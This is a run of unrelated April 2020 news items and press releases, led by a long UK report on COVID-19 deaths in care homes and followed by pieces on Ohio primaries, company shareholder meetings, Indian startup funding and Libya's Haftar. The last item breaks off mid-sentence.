Office for National Statistics reports which date back 10 days or more, meaning many remain uncounted. The Care Quality Commission today said a total of 4,343 people with confirmed or suspected COVID-19 died in care homes between April 10 and April 24 alone. ONS statistics published today show that more than a quarter of all COVID-19 deaths are happening outside of hospitals - by April 17 there had been 4,316 non-hospital deaths out of a total 19,112. England, Scotland and Wales today announced a further 586 coronavirus deaths in hospitals today, with the official death toll now standing at 21,678 in Britain. But an ONS report revealed that the true scale of the outbreak may be 55 per cent higher because the Department of Health's stats don't include people dying outside of hospitals. The statistics body found that, by April 17, England and Wales had recorded 22,351 coronavirus fatalities - a significant rise on the 14,451 counted by health chiefs. If the same increase - 54.6 per cent - were applied to the total UK death toll confirmed today (21,678) it could mean the real number of victims is in the region of 33,500. ONS data, which is released each week and offers the only true picture on how many people have died outside of hospitals, recorded 3,096 COVID-19 care home deaths by April 17. This was almost triple the 1,043 total announced the week before, with 2,000 new fatalities in the space of a week. One leading statistician today revealed he believes the life-threatening infection is now killing more Brits outside of hospital than inside, when deaths other than in care homes are included. New figures compiled by the CQC show care homes in England are now reporting around 400 COVID-19-linked deaths a day - similar numbers are occurring daily inside NHS hospitals. Many of those who die outside of hospitals are not tested for the coronavirus while alive, meaning this data shows Britain's outbreak is much larger than it appears. Some are never officially diagnosed and are only suspected to have had the illness. So many people are being killed by the virus that the week from April 11 to 17 was the deadliest for England and Wales since records began in 1993 and had a death toll (22,351) more than double the yearly average (10,497). Four out of every 10 people who died in that week were infected with coronavirus. Mr Hancock also announced that routine testing will now be available for everyone in care homes, residents and staff, regardless of whether they have symptoms. The same will be applied to hospital staff and patients, and members of the public who have symptoms and are 65 or over will also qualify for a test. The Office for National Statistics report also revealed: The number of people dying in care homes of all causes has tripled since March - 7,316 deaths were recorded between April 11 and 17, compared to 2,471 between March 7 and 13; New records compiled by England's regulator - the Care Quality Commission - showed 4,343 people died in care homes with confirmed or suspected COVID-19 between April 10 and April 24; Three of the 10 deadliest weeks since 1993 have happened in the past month, each recording significantly more than the average 10,000 deaths for this time of year; More than 6,500 people have died with the coronavirus outside of hospitals in England and Wales and one person is dying of coronavirus every 69 seconds; County Durham has had more COVID-19 care home deaths than any other area in England, with 84, followed by Sheffield (79) and Birmingham (71); Men aged between 75 and 84 are most at risk of dying from the coronavirus, while women are more likely to die over the age of 85; The North West of England is the worst-hit region outside of London when all victims are taken into account, followed by the South East. The number of people dying with the coronavirus in England and Wales is around 55 per cent higher when non-hospital deaths are included, according to the Office for National Statistics Office for National Statistics shows a difference of 53 per cent between the daily death counts and the backdated information it releases once a week Mr Hancock said at this afternoon's public briefing: 'From tomorrow we will be publishing not just the number of deaths in hospital each day, but the number of deaths in care homes and the community too.' 'This will supplement the ONS and CQC weekly publication and all add to our understanding of how this virus is spreading day by day, and it will help inform the judgments that we make as we work to keep people safe,' he said. Experts say they cannot yet be sure that the coronavirus outbreaks in care homes have hit their peak. The new data is being collected by Public Health England from the ONS and the CQC and will date back to the beginning of March - there is expected to be a surge in Britain's death toll tomorrow as a result. Only test-confirmed cases will be included. In other developments to the coronavirus crisis today: More than two-third of Britons believe the lockdown should not be eased until coronavirus has been 'fully contained', according to a poll; Health chiefs insisted they are 'unaware' of any deaths in children from a serious 'inflammatory syndrome' thought to be linked to the coronavirus - despite Matt Hancock admitting that 'some' youngsters have mysteriously died with no underlying conditions; Nicola Sturgeon broke ranks with Boris Johnson again by declaring that Scots should wear face coverings on public transport and in shops; The Prime Minister was so badly affected by coronavirus because he is 'significantly' overweight, an NHS doctor revealed; A BBC documentary last night claimed ministers counted every glove individually instead of in pairs to boast of delivering one billion bits of PPE to NHS staff frontline in their fight against the coronavirus; Nandos and Burger King both announced plans to reopen restaurants in more signs of Britain easing itself out of lockdown as traffic jams return to the roads despite the ongoing coronavirus lockdown; Michael Gove revealed more than 3,200 fines have been issued to people flouting the coronavirus lockdown rules as he said that number is expected to 'increase considerably'; Pubs could reopen if landlords rationed beer to two or three pints per customer then asked them to go home to help with social distancing measures, it was claimed; Dragons' Den star Peter Jones became the latest multi-millionaire businessman to take advantage of taxpayers cash through the Government retention scheme. WEEKLY CARE HOME DEATH COUNT TRIPLES IN A MONTH AMID THE CORONAVIRUS CRISIS The number of people dying each week in care homes has tripled in a month, according to a shock report. ONS data shows 7,316 fatalities were recorded in homes across England and Wales in the week that ended April 17 - including 2,050 involving COVID-19. In comparison, just 2,471 deaths were registered in care homes in the week that ended March 13 - before the crisis began to spiral in Britain. But the rate has risen in line with the coronavirus outbreak, jumping to 3,769 in Week 14 (March 27-April 3) and 4,927 in Week 15 (April 3-10). It means the official care home death toll from COVID-19 - registered up until April 17 - in England and Wales stands at 3,096. But the true figure is likely to be much higher because it does not take into account a registration lag. For example, separate figures show the number of care home deaths that occurred in England up until April 17 but registered by April 25 was 3,936. Meanwhile, England's care regulator - the CQC - says the number of COVID-19 fatalities in homes is at least 4,300. This tally includes both suspected and confirmed cases. County Durham has so far had the highest number of COVID-19 fatalities in care homes with 84, followed by Sheffield (79), Birmingham (71) and Liverpool (67). Advertisement NHS England today confirmed 552 more patients had died with COVID-19 in its hospitals between March 19 and April 27. Patients were aged between 29 and 100 and 213 of the deaths occurred on Sunday, April 26. The 29-year-old did not have any other known health problems. London accounted for 87 of the deaths announced today (14 per cent), while 55 happened in Midlands, 55 in the North East & Yorkshire, and 41 in the North West. It has now become clear that the hospital fatalities announced each day only show a fraction of the true outbreak in Britain. The World Health Organization has warned that half of COVID-19 deaths happening in Europe are taking place in nursing homes, and the UK's count is rising fast. British officials have faced heavy criticism for not offering enough support to the sector and chief scientist Sir Patrick Vallance yesterday admitted experts warned ministers 'very early on' about the risk COVID-19 posed to care homes. Office for National Statistics data, released once a week and backdated 10 days, provides the most accurate picture because it adds up numbers from all sources - including care homes and private homes - and releases complete records. Those published by the Department of Health and NHS are rolling updates. The ONS also counts everyone who has COVID-19 mentioned on their death certificate, whether it has been confirmed with a test or not. This means it records using a wider net than the NHS - it may include some wrong diagnoses but also include those who would never normally have been tested. The downside to the data, however, is that it is backdated and takes a long time to record, meaning it's 10 days out of date by the time it gets published. It also does not include Scotland or Northern Ireland, which have their own records. In a bid to speed up recording, the sector regulator the Care Quality Commission has also been drafted in to collect reports of confirmed and suspected deaths caused by COVID-19. BRITAIN'S DEADLIEST EVER WEEK SAW 22,000 PEOPLE DIE - INCLUDING 8,700 FROM COVID-19 More than 22,000 people died in England and Wales during the week that ended April 17, 2020 - the deadliest seven-day spell since records began. ONS statistics showed 22,351 fatalities were registered between April 11 and 17 - more than double the five-year average (10,497). COVID-19 was mentioned on the death certificate of 8,758 victims (39.2 per cent). This is up from 33.6 per cent in the week that ended April 10. Not all of the deaths will be as a direct result of COVID-19. For instance, scores of victims who tested positive will have died from other causes. Statisticians said there was 3,835 more deaths registered during the seven-day spell than the week before, when 18,516 fatalities were counted. Only one other week in modern times has seen more than 20,000 deaths in England and Wales - January 1-7 2000 (20,566). The huge spike came during the worst flu outbreak to hit Britain in decades, which saw hospitals use lorries at make-shift morgues. As well as people dying as a result of catching the virus and falling ill with it, people are also believed to be becoming indirect COVID-19 victims. A&E attendances for all conditions, and notably heart attacks, have plummeted since the outbreak started because people are afraid of catching the virus in hospital or burdening the NHS. And others have faced treatment delays or cancellations - all non-urgent operations have been cancelled, and some cancer therapies delayed - which risks putting their health at risk. THE 10 DEADLIEST EVER WEEKS IN ENGLAND AND WALES, SINCE ONS RECORDS BEGAN 17/04/2020 07/01/2000 08/01/1999 10/01/1997 10/04/2020 14/01/2000 03/01/1997 17/01/1997 03/04/2020 09/01/2015 22,351 20,566 20,116 18,541 18,516 17,776 17,646 16,652 16,387 16,195 Advertisement The CQC's data has been reported today for the first time and shows that 4,343 people are believed to have died with the disease in care homes between April 10 and 24. Professor Sir David Spiegelhalter, a statistician at the University of Cambridge, has said he believes more coronavirus deaths are now occurring in care homes and at home than in hospitals. He told BBC Radio 4s World At One programme: 'I think we can be very confident that our deaths in English hospitals peaked around April 8 - we had about 850 deaths and now they are down to around 400 deaths a day occurring in English hospitals - a steady but slow decline. 'However, weve now just got new data that the Care Quality Commission have been reporting on notifications from care homes about deaths from Covid. 'They receive those really quite up to date, only a couple of days delay, but that goes right up until April 24 - just a few days ago - when they were getting 400 notifications a day of deaths in care homes from Covid. 'When we add on deaths at home from Covid, makes me - slightly sticking my neck out - believing that recently that more deaths occurring from Covid out of hospital than in hospital.' So many people are being killed by the virus in England that more people died in the week from April 11 to April 17 than in any other week since records began in 1993. A total 22,351 deaths were recorded in just seven days - one person every 27 seconds - and 8,758 of them had COVID-19 mentioned on their death certificate. The total was more than double the average for that week of the year - 10,497 - and coronavirus deaths almost hit the average on their own. Not all of the deaths in ONS figures will be as a direct result of COVID-19. Many who tested positive or had the virus mentioned on their death certificate will have died from other causes. The number of people dying each week in care homes has tripled in a month amid the coronavirus crisis, according to a shock report. ONS data shows 7,316 fatalities were recorded in homes across England and Wales in the week that ended April 17 - including 2,050 involving COVID-19. In comparison, just 2,471 deaths were registered in care homes in the week that ended March 13 - before the crisis began to spiral in Britain. But the rate has risen in line with the coronavirus outbreak, jumping to 3,769 in Week 14 (March 27-April 3) and 4,927 in Week 15 (April 3-10). It means the official care home death toll from COVID-19 - registered up until April 17 - in England and Wales stands at 3,096. But the true figure is likely to be much higher because it does not take into account a registration lag. For example, separate figures show the number of care home deaths that occurred in England up until April 17 but registered by April 25 was 3,936. Meanwhile, England's care regulator - the CQC - says the number of COVID-19 fatalities in homes is at least 4,300. This tally includes both suspected and confirmed cases. County Durham has so far had the highest number of COVID-19 fatalities in care homes with 84, followed by Sheffield (79), Birmingham (71) and Liverpool (67). It comes after Britain's chief scientific adviser, Sir Patrick Vallance , yesterday revealed that he and other senior scientists warned politicians 'very early on' about the risk COVID-19 posed to care homes. Sir Patrick, who chairs the group along with Professor Chris Whitty , said they had 'flagged' the risk of care home and hospital outbreaks at the start of the epidemic. While warnings about hospitals sparked a 'protect the NHS ' mantra and a scramble to buy ventilators and free up beds, nursing homes saw no such efforts. The Government has been slated for its lack of support to nursing homes, with no routine testing available, no up-to-date records of the number of people infected or dead, and 'paltry' attempts to deliver adequate protective clothing for staff. Care home staff and residents say they feel 'forgotten' and bosses accused officials of a 'shambolic' attempt to help nursing homes fend off the disease, which is lethal for elderly people in particular. Explaining how SAGE works in a briefing yesterday, Sir Patrick Vallance said: 'Very early on we looked at a number of topics, we looked at nosocomial infection very early on, that's the spread in hospitals, and we flagged that as something that the NHS needed to think about. 'We flagged the fact that we thought care homes would be an important area to look at, and we flagged things like vaccine development and so on. So we try to take a longer term view of things as well as dealing with the urgent and immediate areas.' The SAGE committee, which draws in leading researchers from around the UK and rifles through scientific evidence about COVID-19, was activated on January 3 when Sir Patrick became concerned about the coronavirus outbreak in Wuhan. It met for the first time on January 22, suggesting 'very early on' in its discussions was likely the end of January or the beginning of February. HOW DO COVID-19 DEATHS BREAK DOWN OVER AGE GROUPS? The Office for National Statistics provides information about the ages of all patients who have died with confirmed or suspected COVID-19 between the start of the outbreak and April 17, by which time the total number of victims was 22,351. This is how it breaks down by age: <1 year old: 0 deaths (0% of total) 1-4 years old: 1 (0.004%) 5-9 years old: 0 (0%) 10-14: 1 (0.004%) 15-19: 7 (0.03%) 20-24: 12 (0.05%) 25-29: 26 (0.1%) 30-34: 41 (0.2%) 35-39: 69 (0.3%) 40-44: 120 (0.5%) 45-49: 242 (1%) 50-54: 444 (2%) 55-59: 739 (3.3%) 60-64: 1,111 (5%) 65-69: 1,454 (6.5%) 70-74: 2,340 (10%) 75-79: 3,232 (14%) 80-84: 4,272 (19%) 85-89: 4,242 (19%) 90+: 3,998 (18%) Note: Percentages add up to 99% because some were rounded down Advertisement The first care home death in England and Wales was not officially recorded until March 31. Care homes, which house some 400,000 people around the UK, are at particular risk from coronavirus because elderly people are the most likely to die if they catch it. The Alzheimer's Society said 70 per cent of all people living in care homes have dementia, making them especially vulnerable. Directory of policy at the charity, Sally Copley, said: 'While we are not in the least surprised we are still devastated to hear nearly a quarter of confirmed coronavirus deaths in England are now confirmed as coming from care homes, and still rising every week, exposing the true growing scale of the crisis that is happening in our nations care homes. 'With 70 per cent of people in care homes living with dementia this pandemic is taking a dreadful toll on the families we work with. The Government must make sure that every single death is examined and counted. 'We know that this is a terrifying time for those with loved ones with dementia in care homes. 'People are dying, alone, because its clear that care homes are just not receiving the testing and protective equipment they were promised by the Government.' Today's ONS statistics show that people in their 80s account for 38 per cent of all deaths related to the coronavirus. Of the 22,351 people who had died by April 17, 8,514 were aged between 80 and 89. A further 3,998 (18 per cent) were 90 or older, and 3,232 (14.5 per cent) were between 79 and 75. Deaths decline on a sliding scale through the younger age groups, with only 38 people in their 20s (0.17 per cent) succumbing to the disease, along with nine children and teenagers (0.04 per cent). COLUMBUS, OhioWith both major-party presidential primaries decided and few congressional contests in play, state legislative races are set to be the stars of the show when Ohios primary voting ends Tuesday. But with Ohios primary delayed six weeks due to coronavirus fears, and almost all votes being cast by mail, even seasoned political experts who could confidently predict how legislative races would have gone during the states original primary date of March 17 now say theyre not entirely sure how things will go. When candidates have a longer time to campaign, I think things can change, said Aryeh Alex, who oversees the Ohio House Democrats campaign arm. And I think its tough to tell how folks are responding based on, you know, everything else thats happening (with the coronavirus). Adding to the confusion is that while mail-in ballots must be postmarked by Monday, local elections officials will wait until May 8 for the ballots to arrive, meaning the outcome of some races might not be known for another 10 days, at least. But even amid that uncertainty, a handful of Ohio House and Senate races continue to stand out as ones to watch as primary votes are counted. Republicans: House District 43: Rodney Creech, J. Todd Smith Smith, the incumbent, announced in January that he wouldnt run again, which seemingly left Creech as the presumptive nominee for the Western Ohio seat. But Smith never formally withdrew his name from the ballot, telling cleveland.com on Monday that House GOP leadership wanted him to remain in the race. While Creech is still the favorite and Smith said he hasnt been campaigning he has spent the last couple of days before the primary in Indiana turkey hunting the power of incumbency is always a factor, especially in a low-turnout election. House District 65: Dillon Blevins, Joe Dills, Jean Schmidt House District 66: Adam Bird, Allen Freeman, Nick Owens These two open seats, which together cover all of Clermont County (and Brown County, in the case of HD-66), have seen the heaviest fighting on either side this primary season. A super PAC aligned with House Speaker Larry Householder has spent a combined $675,000 in the first three months of 2020 on behalf of Householders favored candidates, Schmidt and Freeman. But the Clermont County Republicans have endorsed Dills and Bird, and the Ohio Republican Party endorsed Dills at least until pro-Householder forces circulated evidence that he signed up seven years ago for Ashley Madison, a website catering to people looking to cheat on their spouses. House District 71: Thad Claggett, Mark Fraizer Fraizer, appointed to the House last November, is the House GOP incumbent most in danger of losing a primary this year. As proof, just look at the massive amount of money the House GOPs campaign arm has poured into TV ads targeting Claggett, a Newark businessman. Senate District 4: Candice Keller, George Lang, Lee Wong For months, this has been one of the most-watched primaries in the state, as two state representatives -- Keller, the social conservative, and Lang, the business conservative square off for an open seat. Lang has raised the most money of the three, though he comes from the same geographic base as Wong, a four-term West Chester Township trustee. Senate District 26: Melissa Ackison, Bill Reineke If nothing else, this has become the most entertaining primary race to watch in Ohio. Ackison has sued and been sued, called out Republican U.S. Rep. Jim Jordan over the Ohio State University abuse scandal, received a cease-and-desist letter from President Donald Trumps campaign, and appeared in a widely circulated photo featuring protesters against Gov. Mike DeWines coronavirus restrictions. Reineke has run a comparatively low-key campaign, though he was scolded by the Toledo Blade for misquoting the paper in a campaign mailer. Democrats: House District 16: Joe Romano, Monique Smith Headed into March 17, Smith (a community activist) was considered to have a slight edge over Romano (an attorney) in this district in western Cuyahoga County, currently held by Republican state Rep. Dave Greenspan but won by Hillary Clinton in the 2016 presidential race. But six weeks later, theres more uncertainty about Smiths chances. House District 36: AJ Harris, Matt Shaughnessy Like HD-16, two Democrats are running here for the right to run against a Republican incumbent in this case, state Rep. Anthony DeVitis. Shaughnessy, a Green City Council member, was nearly elected the citys mayor last year. Harris, a job developer, has run a campaign more focused on digital advertising than mailer ads which may have ramifications in an all-mail election. House District 25: Mohamud Jama, Dontavius Jarrells, Gary Josephson, Mayo Makinde, Kofi Nsia-Pepra, Tiffany White House District 39: Willis Blackshear Jr., Walter Hickman, Joel Thomas-Jones These two races have a number of things in common: theyre both open seats in urban areas (Columbus for HD-25, Dayton for HD-39) with large numbers of black voters. Jarrells and Blackshear are considered the frontrunners, as each has secured endorsements from their respective county Democratic parties and has multiple opponents who will split the vote. Senate District 16: Mark Bailey, Eric Connolly, Troy Doucet, Crystal Lett Lett, a Dublin activist, has been considered the front-runner, winning the endorsement of the Franklin County Democrats. Doucet, a Columbus defense attorney, is Letts biggest threat. The winner will face Republican state Sen. Stephanie Kunze in the general election. Read more cleveland.com stories: Ohio officials backing off mandatory face mask requirement for re-opening businesses Saying some ICE lockups are in the eye of a storm, Ohio judge orders release of detainees due to coronavirus Counting the jobs that can resume, or not, under Ohio Gov. Mike DeWines revised coronavirus order Gov. Mike DeWines plan to reopen Ohio businesses relies on the public to report health violators While the New Mexicans wait for Gov. Michelle Lujan Grishams stay-at-home order to end May 15, the Carlsbad Chamber of Commerce reminded Carlsbadians to continue to support local businesses. The Chamber of Commerce created a Facebook page titled Carryout Carlsbad which lists all local eateries still open currently 48 unique locations including those whichs offer delivery, and the websites to place orders online. On the site, businesses post not only their usual menus, but specials, new hours and anything else to make sure Carlsbad residents continue to support local businesses. This started once the (dining in) shutdown started, Suzanne Combs, the Chamber of Commerces Director of Marketing and Tourism said. I wanted to do something for restaurants because my background is in hospitality. This started as Chamber members because we are servicing our members but I couldnt in good faith leave anyone out. This is such drastic times were going through so were letting everybody (post on the site). Well talk about their membership later. Local eateries submit any information considered relevant and Combs keeps an online PDF updated with the current places open on both the Facebook site and the Chamber of Commerces site. It was received really well, Combs said. Ive always said Facebook is the best communicator for our community. If you want to get the word out, put it on Facebook. Its hard to keep up by ourselves but if businesses post on this site well know whos open because we dont want to leave anybody out. Combs said while food can be delivered via certain delivery services, there may be charges for those services. Combs knows the importance of keeping local businesses afloat even if the restaurant wont keep 100 percent of the money from the transaction. If you can eliminate the middleman in any business transaction thats better for every party except the middleman, Combs said. But the main thing now is to keep the dollars in Carlsbad. Whether you spend that at a chain restaurant or a local one we are still putting money in this economy because somebody from Carlsbad works at each of those places. Combs said the Chamber has no plans to close the Facebook page once dining in options become available. I hope beyond COVID-19 this site will remain open and always be there, Combs said. Itll be a really good source, not just for people living here but for those who are visiting Carlsbad as well. Matthew Asher can be reached at 575-628-5524, masher@currentargus.com or @Caveman_Masher on Twitter. 2020 the Carlsbad Current-Argus (Carlsbad, N.M.) Visit the Carlsbad Current-Argus (Carlsbad, N.M.) at www.currentargus.com Distributed by Tribune Content Agency, LLC. Category Select Category Apparel/Garments Textiles Fashion Technical Textiles Information Technology E-commerce Retail Corporate Association Press Release SubCategory Select Sub-Category [April 28, 2020] MDxHealth Announces its Annual and Extraordinary General Shareholders' Meetings Press release Regulated information Inside information 28 April 2020, 7:30 a.m. CEST IRVINE, CA, and HERSTAL, BELGIUM 27 April 2020 MDxHealth SA (Euronext Brussels: MDXH) (the "Company" or "MDxHealth") a commercial-stage innovative molecular diagnostics company, today invites the holders of securities issued by the Company to its annual and extraordinary general shareholders' meetings that will be held on Thursday 28 May 2020 at 10:00 a.m., Belgian time. The items on the agenda of the annual and extraordinary general shareholders' meetings include the proposed approval of a number of resolutions relating to the financial year ended on 31 December 2019, as well as the renewal of the authorisation to the board of directors to increase the share capital within the framework of the authorised capital and the adoption of an amended and restated version of the articles of associations in accordance with the provisions of the Belgian Companies and Associations Code and reflecting some technical changes. Exceptionally, and in accordance with the Belgian Royal Decree no. 4 of 9 April 2020 on miscellaneous provisions relating to co-ownership and corporate and association law in the context of the fight against the COVID-19 pandemic, the board of directors of the Company has decided to hold the annual and extraordinary general shareholders' meetings behind closed doors without the physical presence of the holders of securities of the Company and their representatives. As a result, the shareholders of the Company can exercise their voting rights only by voting by mail or by means of a written proxy to the chairman of the board of directors. Furthermore, holders of securities of the Company can only exercise their right to ask questions related to the items on the respective agendas of the annual and extraordinary general shareholders' meetings by means of written questions prior to the respective meetings. For more information, please see the convening notice. In order to participate to the annual and extraordinary general shareholders meetings of the Company, the holders of securities issued by the Company must comply with Article 7:134, 2, first indent of the Belgian Companies and Associations Code and the articles of association of the Company, and fulfill the formalities described in the convening notice. The convening notice, forms and other documents relating to the annual and extraordinary general shareholders meetings can be consulted on the Companys website. As postal services may be disrupted due to the COVID-19 pandemi and as the deadline for the submission of voting by mail forms, proxies and written questions is a Sunday during which there is usually no ordinary postal service, the Company recommends the holders of its securities to use e-mail for all communication with the Company regarding the general shareholders' meetings. The Company's email address for such communication is: [email protected]. About MDxHealth MDxHealth is a multinational healthcare company that provides actionable molecular diagnostic information to personalize the diagnosis and treatment of cancer. The Company's tests are based on proprietary genetic, epigenetic (methylation) and other molecular technologies and assist physicians with the diagnosis of urologic cancers, prognosis of recurrence risk, and prediction of response to a specific therapy. The Company's European headquarters are in Herstal, Belgium, with laboratory operations in Nijmegen, The Netherlands, and US headquarters and laboratory operations based in Irvine, California. For more information, visit mdxhealth.com and follow us on social media at: twitter.com/mdxhealth, facebook.com/mdxhealth and linkedin.com/company/mdxhealth. For more information: MDxHealth [email protected] Important information The MDxHealth logo, MDxHealth, ConfirmMDx and SelectMDx are trademarks or registered trademarks of MDxHealth SA (the "Company" or "MDxHealth"). All other trademarks and service marks are the property of their respective owners. This press release contains forward-looking statements and estimates with respect to the anticipated future performance of MDxHealth and the market in which it operates. Such statements and estimates are based on assumptions and assessments of known and unknown risks, uncertainties and other factors, which were deemed reasonable but may not prove to be correct. Actual events are difficult to predict, may depend upon factors that are beyond the Company's control, and may turn out to be materially different. MDxHealth expressly disclaims any obligation to update any such forward-looking statements in this release to reflect any change in its expectations with regard thereto or any change in events, conditions or circumstances on which any such statement is based unless required by law or regulation. This press release does not constitute an offer or invitation for the sale or purchase of securities or assets of MDxHealth in any jurisdiction. The securities referred to herein have not been and will not be registered under the U.S. Securities Act of 1933, as amended from time to time (the "U.S. Securities Act"), and the securities may not be offered or sold in the United States (as defined in Regulation S under the U.S. Securities Act) unless these securities are registered under the U.S. Securities Act, or an exemption from the registration requirements of the U.S. Securities Act is available. The Company and its affiliates have not registered, and do not intend to register, any portion of the securities concerned in the United States, and do not intend to conduct a public offering of securities in the United States. Attachment Click here for Eng PDF [ Back To TMCnet.com's Homepage ] A man has been jailed for four years for a "horrifying" attack on a police dog and several officers after being asked if his journey was essential during the lockdown. Nelson Nelson threatened to "knock out" police and punched two officers in the face when he was refused travel at Nottingham railway station. The 28-year-old, who had previously admitted offences including two counts of actual bodily harm, assault with intent to resist arrest and assaulting an emergency worker, was jailed on Monday, Nottinghamshire Police said. He was stopped by British Transport Police (BTP) on April 4, during the coronavirus lockdown. When asked why he was travelling, Nelson, of Birmingham, became violent and assaulted three officers in his bid to get away. He knocked two officers to the ground during an initial scuffle, with one falling unconscious. The other officer got up and gave chase before Nelson dragged him in front of an oncoming bus. Nottinghamshire Police officers then arrived on the scene before Nelson charged at and punched another officer. The 28-year-old managed to run off, jumping over two fences close to Station Street where an officer and police dog Quantum were standing. Nelson picked up a plank of wood with a nail in and charged them, repeatedly hitting the dog, and cutting its chin. A flick-knife was recovered during the incident. It is not the first time four-year-old Quantum, a Belgian malinois-German shepherd cross, had been injured in the line of duty. Britons urged to stay at home on fifth lockdown weeken In March 2018, he needed stitches after being stabbed. Nelson admitted the assaults as well as possessing an offensive weapon, having a knife and causing unnecessary suffering to Quantum, at Nottingham Magistrates Court on April 6. He was jailed at Nottingham Crown Court on Monday. After sentencing, Nottinghamshire Chief Constable Craig Guildford said the jail term would send a very clear message to those who break the law, especially during lockdown. Loading.... He said: This is a particularly nasty case where officers who are working hard to engage with the public to ensure that stay at home guidance is being followed have been subjected to a vicious and sustained assault. The officers acted swiftly, bravely and decisively in assisting their British Transport Police colleagues and Im convinced PD Quantum prevented further serious injury to them or the public. Our officers, staff and volunteers will not hesitate to jump to the defence of their fellow key workers who are working so hard to lead the nations response to the coronavirus outbreak, and this case is further evidence of that. Chief Inspector Gareth Davies, from BTP, described it as a truly horrifying incident involving officers who were just trying to do their jobs. There is never an excuse for this sort of behaviour, but its all the more shocking to think this violent rampage began after Nelson was simply asked if his journey was essential, he said. Axios Democratic leaders have found a mechanism to enable them to bypass an initial Republican filibuster and debate the party's sweeping election reform bills, according to a new leadership memo obtained by Axios.Why it matters: The strategy is the latest example of how Democrats are seeking new ways to try to bypass Senate procedures that are blocking their agenda. But the ultimate outcome will likely be the same: insufficient support to change the 60-vote threshold needed to pass sweeping voting ri Sydney, Australia--(Newsfile Corp. - April 27, 2020) - Austral Gold Limited (ASX: AGD) (TSXV: AGLD) ('the Company" or "Austral") is pleased to advise that the following documents were dispatched to shareholders today for its Annual General Meeting to be held on Wednesday 27 May 2020 at 8:00am AEST in Sydney Australia: Notice of Annual General Meeting Shareholder proxy for shares traded on the ASX (if applicable) Shareholder proxy for shares traded on the TSX.V (if applicable) Annual Report (to those shareholders who have requested it) The Notice of Annual General Meeting and the two sample Proxy Forms will be available at http://www.asx.com.au, on the Company's website at www.australgold.com and will be filed on Sedar under the company's profile. About Austral Gold Austral Gold Limited is a growing precious metals mining, development and exploration company building a portfolio of quality assets in Chile and in Argentina. Austral's flagship Guanaco/Amancaya project in Chile is a gold and silver producing mine with further exploration upside. Austral also holds the Casposo Mine (San Juan, Argentina), a ~23.62% interest in the Rawhide Mine (Nevada, USA) and an attractive portfolio of exploration projects including the Pinguino project in Santa Cruz, Argentina (100% interest) and the San Guillermo and Reprado projects near Amancaya, Chile (100% interest). With an experienced local technical team and highly regarded major shareholder, Austral's goal is to continue to strengthen its asset base through acquisition and discovery. Austral is listed on the Australian Securities Exchange (ASX: AGD) and the TSX Venture Exchange (TSXV: AGLD). For more information, please consult Austral's website www.australgold.com. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Story continues Release approved by the Chief Executive Officer of Austral Gold, Stabro Kasaneva For additional information please contact: Jose Bordogna Chief Financial Officer Austral Gold Limited jose.bordogna@australgold.com +54 (11) 4323 7558 David Hwang Company Secretary Austral Gold Limited info@australgold.com +61 (2) 9698 5414 To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54992 Indian tech-led startups attracted funding worth $2.5 billion in the first quarter of 2020, a 14 percent rise compared to the same period last year, a report by research and consulting firm HexGn said New Delhi: Indian tech-led startups attracted funding worth $2.5 billion in the first quarter of 2020, a 14 percent rise compared to the same period last year, a report by research and consulting firm HexGn said. However, funding in startups on a global level dropped by 15 percent to $60 billion in the quarter as compared to the year-ago period, the report said. It added that the number of startup deals fell by over 56 percent to 4,100. HexGn said the numbers are an early guidance and there could be changes as more companies make announcements on funds received. It also anticipated delays in sharing of such information amid the coronavirus outbreak that has disrupted businesses worldwide. The report said the first quarter of 2020 has been very challenging for the global startup community, where even the US saw its tech startup funding dip by 10 percent to $38 billion. The top deals included those by Beike from China ($2.4 billion) and $1.2 billion for Gojek. Click here to follow LIVE news and updates on stock markets Bad news continues to pour in for China, where funding in Q1 dropped by a massive 45 percent from the previous year. The drop is even steeper when compared to the first quarter of 2018, plunging by 63 percent. With the election year in America and sharpened rhetoric, things could get worse for China, before they can get any better," it added. The report noted that Indian startups seem to have bucked this global scenario till now. "The number of startup funding deals in India has grown by 30 percent in the last quarter to 277, from 210 in Q1 of 2019. Another good news is that the Indian funding in the last quarter was not dominated by mega-billion dollar-plus infusions," it added. The most significant ones included BYJU's $200 million funding round, while FirstCry, Zomato, Swiggy, CureFit, Unacademy, and Bounce each grabbed over $100 million in startup funding in the first quarter this year. "Post COVID-19 too, Indian startups stand an excellent chance to capture a piece of this pie. With Facebook pumping in $5.7 billion in Jio, India is high on investment radar. Investors are getting attracted to a healthy breed of homegrown entrepreneurs, who have gone through the cycle of entrepreneurship," the report said. It added that supportive policies by the Indian government and increased availability of local capital are giving further impetus to the startup ecosystem. Gen Haftar said he had "a popular mandate" to govern the country in a speech on his Libya al-Hadath TV channel - AFP Libya's renegade field marshal Khalifa Haftar was accused of carrying out a coup after he declared the agreement that created a post-Gaddafi government a "thing of the past" and said he was placing eastern parts of the country under direct military rule. In a televised address broadcast late on Monday night, Gen Haftar said his self-styled Libyan National Army was proud "proud to be mandated with the historic task" of leading Libya and would soon set about setting up state institutions to do so. "We announce our acceptance of the people's will and mandate and the end of the Skhirat Agreement," he said, referring to a 2015 United Nations-mediated deal that produced the unity government. He did not make clear what the announcement means for the nominally civilian parallel government that already operates the country's east. Gen Haftar's LNA controls most of eastern and southern Libya and critics say he is already a de facto military dictator of those areas. But his legitimacy has until now been underpinned by the House of Representatives, a parliament elected in 2014. GNA forces taking part in an offensive against the LNA in Al-Khallatat area south of Tripoli on April 22 - Hazem Turkia/Anadolu Agency The House of Representatives refused to approve the cabinet proposed by prime minister Fayez al-Sarraj of the UN-backed Government of National Accord in 2016, establishing a parallel administration in the city of Tobruk. Gen Haftar claimed to be serving that government when he launched an assault on the capital Tripoli, where the GNA is based, in April 2019, sparking a civil war. Over the past two weeks the LNA, which is backed by the United Arab Emirates, Egypt, and Russia, has lost a succession of towns around Tripoli, severely weakening its year-long siege. Tarhuna, Gen Haftar's main stronghold near Tripoli, is now under heavy siege by the GNA, which is backed by Turkish forces. If it falls, the LNA may be forced to withdraw from Tripoli's suburbs, ending its chances of capturing the capital. Story continues The United Nations has criticised indiscriminate shelling of civilians by the LNA in Tripoli and by the GNA in Tarhuna. The GNA in a statement on Tuesday described Gen Haftar's announcement as "a farce and the latest in a long series of coups d'etat." The General "turned his back on the parallel political institutions that backed him and designated him" head of the army, the statement said. GNA forces operating south of Tripoli on April 22. Both sides in the war rely heavily on irregular militias with improvised weaponry. - Hazem Turkia/Anadolu Agency The United States embassy to Libya said it 